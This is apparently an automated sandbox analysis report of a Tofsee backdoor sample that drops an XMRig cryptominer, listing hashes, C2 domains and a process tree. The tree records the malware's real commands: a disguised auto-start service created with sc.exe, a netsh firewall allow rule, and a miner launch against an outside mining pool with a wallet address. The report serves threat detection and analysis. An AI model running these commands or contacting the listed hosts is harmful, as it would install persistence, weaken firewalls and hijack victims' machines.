Overview

overview

10

Static

static

1

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    09/02/2023, 08:16

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General

  • Target

    file.exe

  • Size

    196KB

  • MD5

    8b173528c3898a7eae4a4a5ba4f89d2f

  • SHA1

    fccf9625c98c70806b900986bc2faffecf6e4589

  • SHA256

    312fe513c318398d3035efc292abed7259b716bb908341a9f7c47d91b04053de

  • SHA512

    6c131cf8cdfaedb1ef1ab44aef7b704fe06a8f5bb700b47ef3044d0dc7955238baaace7c27d97202bc4777d39036574e6fc7f3a040b2d3c2ec2e947187389bf1

  • SSDEEP

    3072:8GMOuNbKEBP1LrKZwWczd57B8RpEaYFvQSJjfulVvPRH8jQMt:8GMnD9LGG1vQSJalVHRcjQ2

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:368
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dvwjcdkc\
      2⤵
        PID:1932
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gdxyvdta.exe" C:\Windows\SysWOW64\dvwjcdkc\
        2⤵
          PID:1724
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dvwjcdkc binPath= "C:\Windows\SysWOW64\dvwjcdkc\gdxyvdta.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1732
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dvwjcdkc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:276
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dvwjcdkc
          2⤵
          • Launches sc.exe
          PID:1496
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1824
      • C:\Windows\SysWOW64\dvwjcdkc\gdxyvdta.exe
        C:\Windows\SysWOW64\dvwjcdkc\gdxyvdta.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:560
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:332
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1728

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\gdxyvdta.exe
              Filesize

              14.0MB

              MD5

              11e6362948a7416ff0ff1e910c4228ac

              SHA1

              a72a4bee5396813ca345f203791cc4e54644d460

              SHA256

              2ea83a487e18f988232143e7b64e95c0ddb1193bccbff8bd11d0063a15236591

              SHA512

              bcf7c900a54760df968e8c7fe3dabd972cccce70d2a6e37d10bacfe558b81055f4093c6087f2216a8e2a447412193e20ee7f93f47e5a6770e44a4faa8b75c857

              Download Submit

            • C:\Windows\SysWOW64\dvwjcdkc\gdxyvdta.exe
              Filesize

              14.0MB

              MD5

              11e6362948a7416ff0ff1e910c4228ac

              SHA1

              a72a4bee5396813ca345f203791cc4e54644d460

              SHA256

              2ea83a487e18f988232143e7b64e95c0ddb1193bccbff8bd11d0063a15236591

              SHA512

              bcf7c900a54760df968e8c7fe3dabd972cccce70d2a6e37d10bacfe558b81055f4093c6087f2216a8e2a447412193e20ee7f93f47e5a6770e44a4faa8b75c857

              Download Submit

            • memory/332-72-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/332-89-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

              Download

            • memory/332-98-0x00000000001F0000-0x00000000001F7000-memory.dmp

              Filesize

              28KB

              Download

            • memory/332-95-0x0000000005A60000-0x0000000005E6B000-memory.dmp

              Filesize

              4.0MB

              Download

            • memory/332-92-0x00000000001D0000-0x00000000001D5000-memory.dmp

              Filesize

              20KB

              Download

            • memory/332-86-0x0000000000110000-0x0000000000116000-memory.dmp

              Filesize

              24KB

              Download

            • memory/332-83-0x0000000001900000-0x0000000001B0F000-memory.dmp

              Filesize

              2.1MB

              Download

            • memory/332-81-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/332-74-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/332-82-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

              Download

            • memory/368-54-0x0000000076401000-0x0000000076403000-memory.dmp

              Filesize

              8KB

              Download

            • memory/368-57-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

              Download

            • memory/368-56-0x00000000006AB000-0x00000000006BE000-memory.dmp

              Filesize

              76KB

              Download

            • memory/368-58-0x0000000000400000-0x0000000000562000-memory.dmp

              Filesize

              1.4MB

              Download

            • memory/368-66-0x00000000006AB000-0x00000000006BE000-memory.dmp

              Filesize

              76KB

              Download

            • memory/368-67-0x0000000000400000-0x0000000000562000-memory.dmp

              Filesize

              1.4MB

              Download

            • memory/560-70-0x00000000009EB000-0x00000000009FE000-memory.dmp

              Filesize

              76KB

              Download

            • memory/560-71-0x0000000000400000-0x0000000000562000-memory.dmp

              Filesize

              1.4MB

              Download

            • memory/560-79-0x0000000000400000-0x0000000000562000-memory.dmp

              Filesize

              1.4MB

              Download

            • memory/560-78-0x00000000009EB000-0x00000000009FE000-memory.dmp

              Filesize

              76KB

              Download

            • memory/1728-101-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

              Download

            • memory/1728-103-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

              Download